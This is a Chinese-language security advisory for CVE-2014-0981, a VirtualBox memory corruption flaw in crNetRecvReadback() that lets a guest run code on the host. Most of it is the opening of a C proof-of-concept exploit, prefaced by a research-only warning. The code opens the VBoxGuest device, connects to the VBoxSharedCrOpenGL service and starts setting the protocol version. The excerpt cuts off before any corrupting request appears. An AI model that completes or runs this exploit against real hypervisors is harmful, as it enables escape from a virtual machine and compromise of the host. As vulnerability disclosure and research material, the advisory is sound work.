发布日期：2014-03-11
更新日期：2014-03-13
受影响系统：
Oracle VM VirtualBox 4.1
Oracle VM VirtualBox 4.0
Oracle VM VirtualBox 3.2
Oracle VM VirtualBox 3.1
描述：
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BUGTRAQ ID: 66131
CVE(CAN) ID: CVE-2014-0981
VirtualBox是一种x86的虚拟化产品。
Oracle VM VirtualBox在函数crNetRecvReadback()的实现上存在内存破坏漏洞，攻击者可利用该漏洞在主机操作系统内运行的管理程序上下文内执行任意代码。
<*来源：CoreLabs （）
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#include "stdafx.h"
#include <windows.h>
#include "vboxguest2.h"
#include "vboxguest.h"
#include "err.h"
#include "vboxcropenglsvc.h"
#include "cr_protocol.h"
#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"
HANDLE open_device(){
HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE){
printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);
exit(EXIT_FAILURE);
}
printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);
return hDevice;
}
uint32_t do_connect(HANDLE hDevice){
VBoxGuestHGCMConnectInfo info;
DWORD cbReturned = 0;
BOOL rc;
memset(&info, 0, sizeof(info));
info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;
strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,
sizeof(info), &info, sizeof(info), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function do_connect()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (info.result == VINF_SUCCESS){
printf("HGCM connect was successful: client id =0x%x\n",
info.u32ClientID);
}
else{
//If 3D Acceleration is disabled, info.result value will be -2900.
printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration
enabled??)\n", info.result);
exit(EXIT_FAILURE);
}
return info.u32ClientID;
}
void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){
BOOL rc;
VBoxGuestHGCMDisconnectInfo info;
DWORD cbReturned = 0;
memset(&info, 0, sizeof(info));
info.u32ClientID = u32ClientID;
printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
do_disconnect()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (info.result == VINF_SUCCESS){
printf("HGCM disconnect was successful.\n");
}
else{
printf("[-] HGCM disconnect failed. Result: %d\n", info.result);
exit(EXIT_FAILURE);
}
}
void set_version(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMSETVERSION parms;
DWORD cbReturned = 0;
BOOL rc;
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;
parms.hdr.cParms = SHCRGL_CPARMS_SET_VERSION;